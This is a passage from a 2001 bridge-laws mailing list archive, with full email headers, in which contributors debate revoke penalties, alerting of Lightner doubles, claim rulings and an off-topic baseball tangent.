serious contest. Is there not an obligation upon players to try to win by legal means? This is a clear violation of 72A6 of course, and even more clearly of 72A3. More generally there is also a violation of 72A1. It also violates 10A. (And note director's 10B powers.) But what concerns me more is such "sportsmanship" violates the principal that you must play to win. It is good to hear Grattan and Ton note that the effect on the field matters. There could in some contests also be other team members. There could in some settings be considerations of dumping for later advantage in seeding or matching. Waiving a penalty in a friendly game or one resulting from a physical limitation is a different matter. But in a bridge tournament you should try to win. I would be disappointed in a opponent that would ask to forego my penalty card if I revoked. Let's play the game by the rules and try to win. Taking advantage of opponents' errors is a legitimate part of the game. Craig ----- Original Message ----- From: "David Burn" To: "Bridge Laws" Sent: Sunday, January 28, 2001 10:32 AM Subject: [BLML] Cap Gemini shows the way > Extract from Bulletin 1 from the recent Cap Gemini tournament in the > Netherlands: > > At most tables, the contract was 4H which went down one. Forrester - > Helgemo were in 4H as well, Chemla - Levy defending. Superficially > looking at it, one would say that declarer stands no chance, but the > prospects changed dramatically when Chemla revoked during the play of > the hand. In a tournament of this standard, players would not call the > director, but rather invite their opponents to correct the revoke and > waive the penalty card. That's exactly what happened at this gentlemen's > table, but it is interesting to see that Forrester might have made his > contract had he imposed the Law. > > Comments on an electronic postcard. > > David Burn > London, England > > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 03:56:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UGub807100 for bridge-laws-outgoing; Wed, 31 Jan 2001 03:56:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UGuLt07041 for ; Wed, 31 Jan 2001 03:56:22 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id MAA04296 for ; Tue, 30 Jan 2001 12:01:59 -0500 (EST) Message-Id: <200101301701.MAA04296@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] L10 Suggestion Reply-To: blml@farebrother.cx In-reply-to: <000b01c08a8d$a0d96f00$7056063e@dodona> References: <200101292243.RAA16802@calum.csclub.uwaterloo.ca> <000b01c08a8d$a0d96f00$7056063e@dodona> Date: Tue, 30 Jan 2001 12:01:58 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 30 January 2001 at 7:12, "Grattan Endicott" wrote: > >Grattan Endicott <=> >"Speak when you are angry - and you'll >make the best speech you'll ever regret." > [L.J. Peter] > <=====> >----- Original Message ----- >From: Michael Farebrother >> >> L10A Right to Assess or Waive Penalty >> >> The Director alone has the right to assess penalties when applicable. >> Players do not have the right to assess penalties on their own >> initiative, nor do the right to waive them (but they may request >> that the Director do so, see L81C8). >> -- >+=+ "10A. Players shall not assess or waive penalties >without reference to the Director. They may request >the Director to waive a penalty (see Laws 81C7&8)." Thanks. That's much better wording than I could come up with. I had trouble avoiding repeating "the right to" and "on their own initiative". However, I believe the first sentence of the current L10A is useful and should be prepended to your statement. Yes, I know it is repeated in L81, but again, making it explicit seems to me to be a good thing. >Excuse me if I have left the above at length. It is so >that I may print it out for circulation to the drafting >committee.+=+ No problem, it was necessary (in your opinion). I do get a bit peeved at people who just don't trim, especially when all they add to a 100+ line post is one or two lines in the middle. Not only is it a waste of bandwidth (though compared to one a.b.p.e.whatever image spam it is a drop in the ocean) but I often have to read it two or three times to find the lines that are new. That doesn't apply here, however. And thanks. I've done something useful! Michael. P.S. If nothing else, can I please make a plea for posters to at least trim off that auto-generated signature? It serves a good and useful purpose, but we don't need to see it 5 times each post...mdf -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 03:59:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UGxMQ07816 for bridge-laws-outgoing; Wed, 31 Jan 2001 03:59:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from svuns012.its.it (esmtp.its.it [151.92.2.140]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UGwrt07740 for ; Wed, 31 Jan 2001 03:58:54 +1100 (EST) Received: from svuns013.its.it (151.92.250.197) by svuns012.its.it (5.1.056) id 3A4249A3001B8BF8 for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 17:58:19 +0100 Received: from svuns013.its.it (151.92.1.240) by svuns013.its.it (5.1.056) id 3A76B3E8000080A5 for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 17:58:43 +0100 Received: from ex1unintd09.its.it (151.92.250.34) by svuns013.its.it (5.1.056) id 3A76D73700003462 for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 17:58:43 +0100 Received: by EX1UNINTD09 with Internet Mail Service (5.5.2653.19) id ; Tue, 30 Jan 2001 17:59:10 +0100 Message-ID: From: NARDULLO Ennio To: bridge-laws@rgb.anu.edu.au Subject: [BLML] Double lightner Date: Tue, 30 Jan 2001 17:57:03 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I think that the double of the type : 1h-p-2c-p 2h-p-3h-p 4d-p-4d-p 4h-p-6h-double or 1Nt-p-3NT-double must be alerted , if they want a specified lead. I understand that it's bridge , that depends of the opponents ... I know that the regulations in the words are different. What's your opinion , please ? ENNIO NARDULLO -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 04:36:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UHYFf16806 for bridge-laws-outgoing; Wed, 31 Jan 2001 04:34:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UHY6t16767 for ; Wed, 31 Jan 2001 04:34:07 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id SAA12190; Tue, 30 Jan 2001 18:31:20 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id SAA01116; Tue, 30 Jan 2001 18:33:49 +0100 (MET) for Message-Id: <3.0.6.32.20010130183538.00829720@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 30 Jan 2001 18:35:38 +0100 To: Herman De Wael , Bridge Laws From: alain gottcheiner Subject: Re: [BLML] Alert or Not In-Reply-To: <3A76B091.D811DE0F@village.uunet.be> References: <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92.2]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 13:16 30/01/01 +0100, Herman De Wael wrote: >Wayne Burrows wrote: >> >> How do you see the law/ethics of alerting your partner's conventional responses to your unalerted conventional bids? >> > >Do you really want my opinion ? > >Go check the home page for the "DeWael School" : AG : I just did it, and I feel I could summarize the DeWael style in one line : "the infraction of temporary misinformation is less apt to cause damage than the awakening of partner" with which one can agree or not. Although it is quite possible, I'm cautious about it, because UI is not per se an infraction, while MI is. But I don't think the DWS principle should apply here, because from the fact that partner didn't alert, you can't infer he didn't know the bid was conventional. He could as well : - have alerted so lightly that you didn't notice it (this may be incorrect in itself, of course) - think the bid isn't alertable, and he might even be right - have forgotten alerting, an infraction, but not always harmful In each of these cases, you *create* an infractional and intricate situation by your explanation. The difference being, of course, you are not sure what partner thinks. In all original DWS cases, you are. As an example : the moron you 1NT p 2H p 2S Both of you know perfectly well you play transfers. 2H was indeed intended as transfer. You think 2H is alertable. Partner doesn't. Whether it is or not is a minor consideration. Partner corrects the transfer. You explain it as hearts + spades. *You* create the mess. Of course, if partner had (wrongly) explained 2H was natural, the DWS principle could apply (whether it should is another matter). Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 05:16:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UIFaS20845 for bridge-laws-outgoing; Wed, 31 Jan 2001 05:15:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UIFTt20841 for ; Wed, 31 Jan 2001 05:15:30 +1100 (EST) Received: from james (user-2ive4jo.dialup.mindspring.com [165.247.18.120]) by mclean.mail.mindspring.net (8.9.3/8.8.5) with SMTP id NAA03973; Tue, 30 Jan 2001 13:15:16 -0500 (EST) Message-ID: <008d01c08ae8$a0810670$7812f7a5@james> From: "Craig Senior" To: "David Stevenson" , References: Subject: Re: Way, Way OT Baseball quotes, was Re: [BLML] Claim? Date: Tue, 30 Jan 2001 13:15:24 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk You are thinking of the Cubs. Their national television coverage was because their at one time co-owned television outlet in Chicago was WGN, a non-network affiliated stattio that was carried on many cable systems and set up as a "superstation: by making its signal available on satellite. Only the Atlanta Braves and their co-owned TV station were more successful at this. The daylight games DID play a role in popularizing the Cubs before television ruled the world. The old Mutual Broadcasting System carried a Game-of-the-Day nationwide and into a few areas of Canada as well. As less and less baseball was played in the afternoon, Cubs games became more of a staple of this program. Additionally the Cubs may have gotten more press coverage because their games were over early and a full story was available from the wire services complete with box scores in time for the bulldog editions of east coast newspapers. Many other games were still in progress or just over and thereby got less ink. Though I;ve never been to Wrigley Field it seems a charming ballpark where the fans are a real part of the fame. I Have been to Fenway Park many times (and Braves Field for that matter) in the Ted Williams era. The Red Sox, like the Cubs, have patient long suffering fans who will criticise them always and abandon them never. Craig ----- Original Message ----- From: "David Stevenson" To: Sent: Monday, January 29, 2001 3:25 PM Subject: Re: Way, Way OT Baseball quotes, was Re: [BLML] Claim? > Todd Zimnoch writes > > >Wrigley Field - The Chicago Cubs play there and it also straddles > >communities, particularly a strong Polish immigrant community. The > >buildings across the street are just high enough that people watch the game > >for free from their roofs while listening to the radio. You're likely to > >see polka bands outside the stadium playing for beer money after the game. > >Although the Cubs are a miserable team, their fans are possibly the most > >loyal. The practice of spectators throwing back an opposing team's homerun > >ball (a ball that was hit off the playing field and scored all runners) > >started at this stadium, I believe. There is a very unique atmosphere at > >this stadium. > > The last baseball stadium without floodlights, right? Got them a > couple of years ago. Because they always played games in daylight, they > were available to TV companies at times when there were few other games, > and got quite a long-distance TV following as a result. > > Now spoil it by telling me that I mean the White Sox [Black Sox - must > see the film]. But I think it was the Cubs. > > Personally I support the Red Sox. Saw Martinez and Clemens pitching > in the same game last year. Red Sox 1, Yankees 0. Only one bad pitch - > by Clemens [home run] - Martinez pitched nine innings. Great! > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 05:31:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UIVZG20929 for bridge-laws-outgoing; Wed, 31 Jan 2001 05:31:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from nuser.dybdal.dk (cpe.atm0-0-0-114174.boanxx1.customer.tele.dk [193.89.241.80]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UIVQt20924 for ; Wed, 31 Jan 2001 05:31:27 +1100 (EST) Received: from spir.h.dybdal.dk (spir.h.dybdal.dk [10.148.46.2]) by nuser.dybdal.dk (Postfix) with SMTP id 0F4A8D7C89 for ; Tue, 30 Jan 2001 19:31:20 +0100 (CET) From: Jesper Dybdal To: "BLML" Subject: Re: [BLML] Cap Gemini shows the way Date: Tue, 30 Jan 2001 19:31:20 +0100 Organization: at home Message-ID: <0h1e7t8qa5unb20bbmoejolif3f685ektv@nuser.dybdal.dk> References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> In-Reply-To: <004401c08968$1f2b2820$3901ff3e@vnmvhhid> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0UIVTt20925 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Sun, 28 Jan 2001 20:23:04 -0000, "Anne Jones" wrote: >I think it is inexcusable that players of high standard consider >themselves to be above and beyond the law. They are the ambassadors of >the game, and this is no way to teach lesser mortals how they should >behave. I agree completely. I've seen similar actions in the "Politiken World Pairs" (PWP) in Denmark, which is also a high-level international invitational event. I suspect that these top players, perhaps to some degree understandably, want to actively demonstrate their "sportsmanship" and show that they consider it a friendly contest. But the effect is terrible: all those club players who kibitz learn that top bridge is not concerned with following the rules. They easily get the impression that it is considered embarrasing to call the TD for such irregularities at the highest level. I suggested once that the PWP organizers should send the participants a letter asking them to please follow the rules to the letter and call the TD when appropriate, for the sake of the impression kibitzers get. I don't know whether they did so - I suspect not. -- Jesper Dybdal, Denmark . http://www.dybdal.dk (in Danish). -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 05:46:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UIjoY20997 for bridge-laws-outgoing; Wed, 31 Jan 2001 05:45:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cosmos.CCRS.NRCan.gc.ca (cosmos.ccrs.nrcan.gc.ca [132.156.47.32]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UIjct20993 for ; Wed, 31 Jan 2001 05:45:39 +1100 (EST) Received: (from johnson@localhost) by cosmos.CCRS.NRCan.gc.ca (8.10.1/8.10.1) id f0UIkXK03274 for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 13:46:33 -0500 (EST) From: Ron Johnson Message-Id: <200101301846.f0UIkXK03274@cosmos.CCRS.NRCan.gc.ca> Subject: Re: [BLML] Double lightner To: bridge-laws@rgb.anu.edu.au Date: Tue, 30 Jan 2001 13:46:33 -0500 (EST) In-Reply-To: from "NARDULLO Ennio" at Jan 30, 2001 05:57:03 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk NARDULLO Ennio writes: > > I think that the double of the type : > > 1h-p-2c-p > 2h-p-3h-p > 4d-p-4d-p > 4h-p-6h-double > > or 1Nt-p-3NT-double > > must be alerted , if they want a specified lead. > I understand that it's bridge , that depends of the opponents ... > I know that the regulations in the words are different. > > What's your opinion , please ? See Appeals Report 25 from Albuquerque. N/S bid to 6H. Lightner double leads to defensive cross-ruff. -800 N/S call director claiming that Lightner is alertable. Director rules result stands. Say something to the effect of -- all bridge players use it so it is not neccessary to alert it. Committee decision: . N/S should have recognized the meaning. . May have been attempting a double shot. Good result if East made the wrong lead, or successful protest. Committee felt that Lightner doubles should *not* be alerted. Ruling: Result stands, deposit retained. (In the book on appeals at Albuquerque there is some discussion.) Quoting now After the committee had ended, Chief Tournament Director Bill Schoder told the committee that in the past some rulings have required alerts of the Lightner Double. The committee felt that alerting a slam double as a conventional action is both unneccessary and harmful Acting as WBF President, Wolff reformed the committee as a Tournament Committee and moved that a Lightner Double specifically should be added to the list of un-alertable conventions. THe committee agrees and the Conditions of Contest were so ammended. Note that even in the EBU where the alert is required, there is basically no chance of you getting a successful ruling if a director or AC feels that you know what a Lightner double is (though they may assess some kind of procedural penalty for a failure to alert.) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 06:32:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UJVfO21228 for bridge-laws-outgoing; Wed, 31 Jan 2001 06:31:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UJVLt21219 for ; Wed, 31 Jan 2001 06:31:22 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id LAA31821; Tue, 30 Jan 2001 11:31:15 -0800 Message-Id: <200101301931.LAA31821@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Double lightner In-reply-to: Your message of "Tue, 30 Jan 2001 13:46:33 EST." <200101301846.f0UIkXK03274@cosmos.CCRS.NRCan.gc.ca> Date: Tue, 30 Jan 2001 11:31:13 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ron Johnson wrote: > NARDULLO Ennio writes: > > > > I think that the double of the type : > > > > 1h-p-2c-p > > 2h-p-3h-p > > 4d-p-4d-p > > 4h-p-6h-double > > > > or 1Nt-p-3NT-double > > > > must be alerted , if they want a specified lead. > > I understand that it's bridge , that depends of the opponents ... > > I know that the regulations in the words are different. > > > > What's your opinion , please ? > > See Appeals Report 25 from Albuquerque. > > N/S bid to 6H. Lightner double leads to defensive cross-ruff. -800 > N/S call director claiming that Lightner is alertable. > Director rules result stands. Say something to the effect of -- all > bridge players use it so it is not neccessary to alert it. > > Committee decision: > > . N/S should have recognized the meaning. > . May have been attempting a double shot. Good result if East made the > wrong lead, or successful protest. > > Committee felt that Lightner doubles should *not* be alerted. > > Ruling: Result stands, deposit retained. > > (In the book on appeals at Albuquerque there is some discussion.) > > Quoting now > > After the committee had ended, Chief Tournament Director Bill Schoder > told the committee that in the past some rulings have required alerts > of the Lightner Double. The committee felt that alerting a slam > double as a conventional action is both unneccessary and harmful > > Acting as WBF President, Wolff reformed the committee as a Tournament > Committee and moved that a Lightner Double specifically should be > added to the list of un-alertable conventions. THe committee agrees > and the Conditions of Contest were so ammended. I checked the Alert chart on the ACBL web site, and it doesn't say anything about Lightner doubles; roughly speaking, only lower-level takeout doubles when partner has not bid, lead-directing doubles of the suit just bid, and the standard negative double, are listed as nonalertable. According to this chart, Lightner doubles would therefore be alertable. However, in the past, before the General Convention Chart/Mid-Chart/Superchart structure was adopted, conventions were classed into groups A, B, C, D, E, F, with Class A containing things like Stayman, Blackwood, takeout doubles, etc.; Lightner doubles were included in Class A. The rule, I believe, was that Class A conventions did not need to be alerted if used in the standard way, while everything else did (with one specific exception in Class C). So it seems to me that the omission of Lightner doubles from the alert chart was inadvertent. It's true that ACBL has made some things alertable that were traditionally nonalertable, but they've usually made a big deal of it in those cases, trying to make sure (in the _Bulletin_) that everyone knew about the changes; I don't remember any such big deal being made about Lightner doubles. I think that a Lightner double of 1NT-3NT that asks for the lead of a specific suit should still be alertable, though. (Someone in my area occasionally plays this double as specifically asking for a heart lead.) All of this is probably irrelevant to the original asker. I looked over the FIGB web site and couldn't find any alerting regulations, although I could have easily missed it, since I'm not fluent in Italian (although I did study it briefly in college, so I'm not totally lost). -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 06:44:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UJhlk21297 for bridge-laws-outgoing; Wed, 31 Jan 2001 06:43:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UJhXt21292 for ; Wed, 31 Jan 2001 06:43:34 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id OAA26653 for ; Tue, 30 Jan 2001 14:43:27 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id OAA21307 for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 14:43:26 -0500 (EST) Date: Tue, 30 Jan 2001 14:43:26 -0500 (EST) From: Steve Willner Message-Id: <200101301943.OAA21307@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: RE: [BLML] Claim? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Kooijman, A." > Suggestion: the line of play of the remaining tricks should not depend on > specific cards to be played by the opponents, unless clarified in detail by > the claimer. How careful do you want claimer to be? Suppose the defense has just led a low diamond, in which dummy holds KJx and declarer ATx? I'd be quite happy to allow declarer three tricks on a claim without knowing what third hand is going to play, but Ton's suggested wording would force us to rule otherwise. I think this goes back to the difference of opinion we have had all along. Some of us think the problem is too few claims; others think the problem is a few bad claims. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 06:50:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UJofN21346 for bridge-laws-outgoing; Wed, 31 Jan 2001 06:50:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UJoYt21342 for ; Wed, 31 Jan 2001 06:50:35 +1100 (EST) Received: from james (user-2ive4jo.dialup.mindspring.com [165.247.18.120]) by mclean.mail.mindspring.net (8.9.3/8.8.5) with SMTP id OAA24955; Tue, 30 Jan 2001 14:50:29 -0500 (EST) Message-ID: <00f001c08af5$eb5216a0$7812f7a5@james> From: "Craig Senior" To: "Bridge Laws Discussion List" , "Eric Landau" References: <4.3.2.7.1.20010129154531.00b356a0@127.0.0.1> Subject: Re: [BLML] Claim? Date: Tue, 30 Jan 2001 14:50:13 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > This, IMO, is consistent with my position in the KQ10x opposite A9xx > thread (which I have no wish to reopen), in which I was in the group > that argued that playing the A first would be COIBNI, even for a player > of my own (ahem) exalted level. > > > Eric Landau elandau@cais.com And is equally wrong. :-)) Craig -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 06:54:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UJrGf21379 for bridge-laws-outgoing; Wed, 31 Jan 2001 06:53:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UJqkt21367 for ; Wed, 31 Jan 2001 06:52:47 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id OAA27117 for ; Tue, 30 Jan 2001 14:52:43 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id OAA21327 for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 14:52:42 -0500 (EST) Date: Tue, 30 Jan 2001 14:52:42 -0500 (EST) From: Steve Willner Message-Id: <200101301952.OAA21327@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Marvin L. French" > In the recent Blue Ribbon one of the top finishers gave me a little > mechanical coffeehouse when playing a card as declarer, and I was > taken in. Had I called the TD, I would have been laughed at. You might want to put that to the test next time. I got a favorable 73F2 ruling about two years ago (last time I had occasion to ask for one) from a TD I hadn't considered one of the best. > In these parts comments as to the adequacy of the contract when > dummy comes down are considered inappropriate, if not subject to > Zero Tolerance provisions. Regulating comments seems well within the authority of SO's under L80F. Forbidding or at least discouraging this particular type of comment seems a good idea to me. Others have pointed out L74B2, and L74C2 and 74C3 may also be relevant, although none is exactly on point. Of course if the players at the table aren't bothered, there's no reason for anybody else to interfere. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 31 07:12:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UKC3A21470 for bridge-laws-outgoing; Wed, 31 Jan 2001 07:12:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UKBrt21466 for ; Wed, 31 Jan 2001 07:11:54 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Tue, 30 Jan 2001 12:08:30 -0800 Message-ID: <005101c08af8$d3fbf040$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" Cc: , References: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> <008e01c08a24$d91a2940$9a9c1e18@san.rr.com> <3A76AA46.16BAB31@village.uunet.be> Subject: Re: [BLML] Cincinnati NABC Appeal 36 Date: Tue, 30 Jan 2001 12:06:18 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 